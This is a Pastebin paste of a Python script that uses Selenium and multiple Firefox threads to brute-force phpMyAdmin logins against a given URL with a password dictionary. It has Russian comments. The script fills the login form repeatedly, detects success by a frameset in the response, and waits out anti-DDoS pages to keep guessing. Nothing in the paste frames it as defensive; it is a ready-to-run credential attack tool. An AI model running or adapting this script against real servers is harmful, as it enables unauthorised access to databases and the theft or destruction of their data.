Advertisement
Guest User

selenium-pma-bruter.py

a guest
Aug 4th, 2014
1,083
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.03 KB | None | 0 0
  1. import selenium, time, queue, threading, os, sys, shutil, hashlib, datetime, socket
  2. from selenium.webdriver.firefox.firefox_profile import FirefoxProfile
  3.  
  4. TARGET_URL = sys.argv[1]
  5. LOGIN = sys.argv[2]
  6. DICT = sys.argv[3]
  7. THREADS = int(sys.argv[4])
  8.  
  9. # Сколько запросов делаем на один браузер (потом он уничтожается и создаётся заново).
  10. # Необходимо потому что при долгой работе c одним и тем же объектом браузера начинает глючить.
  11. ONE_BROWSER_QUERYS_LIMIT = 150
  12. # На сколько останавливаем работу если сработала защита от DDoS (подождите № секунд, сейчас вы будете перемещены)
  13. ANTI_DDOS_SLEEP_SECS = 10
  14.  
  15. # Настройки для профиля FF
  16. profile_settings = {'permissions.default.stylesheet': 2,
  17.                     'permissions.default.image': 2,
  18.                     'dom.ipc.plugins.enabled.libflashplayer.so': 'false',
  19.                     'plugin.state.flash': 0}
  20.  
  21. # Заполняем очередь паролями
  22. q = queue.Queue()
  23. for obj in open(DICT).readlines():
  24.     q.put( obj.strip() )
  25.  
  26. # Функция отображения секунд в человеческое время (дни, часы, минуты, секунды)
  27. def human_time(secs):
  28.     result = ""
  29.     if secs > 60*60*24:
  30.         result += "{0}d ".format( int(secs/(60*60*24)) )
  31.         secs = secs%(60*60*24)
  32.     if secs > 60*60:
  33.         result += "{0}h ".format( int(secs/(60*60)) )
  34.         secs = secs%(60*60)
  35.     if secs > 60:
  36.         result += "{0}m ".format( int(secs/60) )
  37.         secs = secs%60
  38.     if secs:
  39.         result += "{0}s ".format( secs )
  40.     return result
  41.  
  42. # Класс с помощью которого потоки знают найден пароль или нет
  43. class Result:
  44.     login_founded = False
  45.     def get():
  46.         return Result.login_founded
  47.     def set(value):
  48.         Result.login_founded = value
  49.  
  50. # Аналог прогресс-бара для консоли
  51. class Counter:
  52.     counter = 0
  53.  
  54.     def __init__(self, point, newStr, all_count):
  55.         self.point = point
  56.         self.newStr = newStr
  57.         self.all_count = all_count
  58.         self.start_time = int(time.time())
  59.  
  60.     def up(self):
  61.         self.counter += 1
  62.  
  63.         if self.counter%self.point == 0:
  64.             print(".", end='')
  65.         if self.counter%self.newStr == 0:
  66.             percent = round(self.counter / (self.all_count / 100), 2)
  67.             per_sec = round( self.counter / (int(time.time()) - self.start_time) )
  68.             remaning = human_time( int((self.all_count-self.counter) / per_sec) )
  69.             print("(Done {0} from {1} ({2}%), {3}p/s, {4} remaning)".format(self.counter, self.all_count, percent, per_sec, remaning))
  70.  
  71.         sys.stdout.flush()
  72.  
  73.         return self
  74.  
  75. # Класс рабочих потоков
  76. class Worker(threading.Thread):
  77.     def __init__(self, q, num, counter):
  78.         super().__init__()
  79.  
  80.         self.q = q
  81.         self.num = num
  82.         self.counter = counter
  83.         self.browser_requests_counter = 0
  84.         self.browser = None
  85.         self.profile_dir = '/tmp/selenium-ff-profile-{0}'.format(self.num) # Путь к профилю FF текущего потока
  86.  
  87.         time.sleep(num*2)
  88.  
  89.     # Метод получения браузера текущего потока
  90.     def _get_browser(self):
  91.         # Если достигли лимита в запросах на браузер - убиваем его и создаём заново
  92.         if self.browser_requests_counter == ONE_BROWSER_QUERYS_LIMIT:
  93.             self._kill_browser()
  94.             self.browser_requests_counter = 0
  95.  
  96.         if not self.browser:
  97.             self.browser = self._make_browser()
  98.  
  99.         self.browser_requests_counter += 1
  100.  
  101.         return self.browser
  102.  
  103.     def _kill_browser(self):
  104.         if self.browser:
  105.             self.browser.quit()
  106.             del self.browser
  107.             self.browser = None
  108.  
  109.     def _make_browser(self):
  110.         if os.path.exists(self.profile_dir):
  111.             shutil.rmtree(self.profile_dir)
  112.         os.mkdir(self.profile_dir)
  113.  
  114.         try:
  115.             firefoxProfile = FirefoxProfile(self.profile_dir)
  116.             for setting in profile_settings:
  117.                 firefoxProfile.set_preference(setting, profile_settings[setting])
  118.             return selenium.webdriver.Firefox(firefoxProfile)
  119.         except selenium.common.exceptions.WebDriverException:
  120.             return self._make_browser()
  121.  
  122.     # Метод определяющий сработала ли защита от DDoS
  123.     # Если да - спит N секунд дожидаясь переадресации
  124.     def _protection_bypass(self, browser):
  125.         while True:
  126.             try:
  127.                 browser.find_element_by_id("input_username")
  128.                 break
  129.             except selenium.common.exceptions.NoSuchElementException:
  130.                 time.sleep(ANTI_DDOS_SLEEP_SECS)
  131.  
  132.     # Метод получения главной страницы PMA
  133.     def _get_start_page(self, browser):
  134.         try:
  135.             browser.find_element_by_id("input_username")
  136.         except selenium.common.exceptions.NoSuchElementException:
  137.             browser.get(TARGET_URL)
  138.  
  139.     def _error_log(self, password, text, source):
  140.         source_filename = hashlib.md5(str(datetime.datetime.now()).encode("utf")).hexdigest() + ".html"
  141.  
  142.         fh = open("errors/error.log", "a")
  143.         fh.write("#{0: ^40}#\n".format( time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())))
  144.         fh.write("Login: {0}\nPassword: {1}\nError: {2}\nHTML: {3}".format(LOGIN, password, text, source_filename))
  145.         fh.write("#{0: ^40}#\n\n")
  146.         fh.close()
  147.  
  148.         fh = open("errors/" + source_filename, "w")
  149.         fh.write(source)
  150.         fh.close()
  151.  
  152.     def run(self):
  153.         while True:
  154.             try:
  155.                 password = self.q.get()
  156.                 if not Result.get():
  157.                     self.counter.up()
  158.  
  159.                     # Открываем главную страницу, обходим anti-DDoS
  160.                     browser = self._get_browser()
  161.                     self._get_start_page(browser)
  162.                     self._protection_bypass(browser)
  163.  
  164.                     #Заполняем форму
  165.                     login_field = browser.find_element_by_id("input_username")
  166.                     login_field.clear()
  167.                     login_field.send_keys(LOGIN)
  168.  
  169.                     password_field = browser.find_element_by_id("input_password")
  170.                     password_field.clear()
  171.                     password_field.send_keys(password)
  172.                    
  173.                     # Жмём кнопку входа
  174.                     browser.find_element_by_id("input_go").click()
  175.                    
  176.                     # Если в ответе нашли тег frameset - пароль подобран
  177.                     if len(browser.find_elements_by_xpath('//frameset')):
  178.                         print("YES: {0} - {1}".format(LOGIN, password))
  179.                         sys.stdout.flush()
  180.                         Result.set(True)
  181.             except queue.Empty:
  182.                 self._kill_browser()
  183.                 break
  184.             except BaseException as e:
  185.                 try:
  186.                     page_source = browser.page_source
  187.                 except BaseException:
  188.                     page_source = "NONE"
  189.  
  190.                 print("E", end="")
  191.                 self._error_log(password, str(e), page_source)
  192.                 self.q.put(obj)
  193.             finally:
  194.                 self.q.task_done()
  195.         self._kill_browser()
  196.  
  197. print("#{0: ^40}#".format( time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())))
  198.  
  199. counter = Counter(50, 2000, q.qsize())
  200. for i in range(THREADS):
  201.     w = Worker(q, i, counter)
  202.     w.daemon = True
  203.     w.start()
  204.  
  205. q.join()
  206.  
  207. print("#{0: ^40}#".format( time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement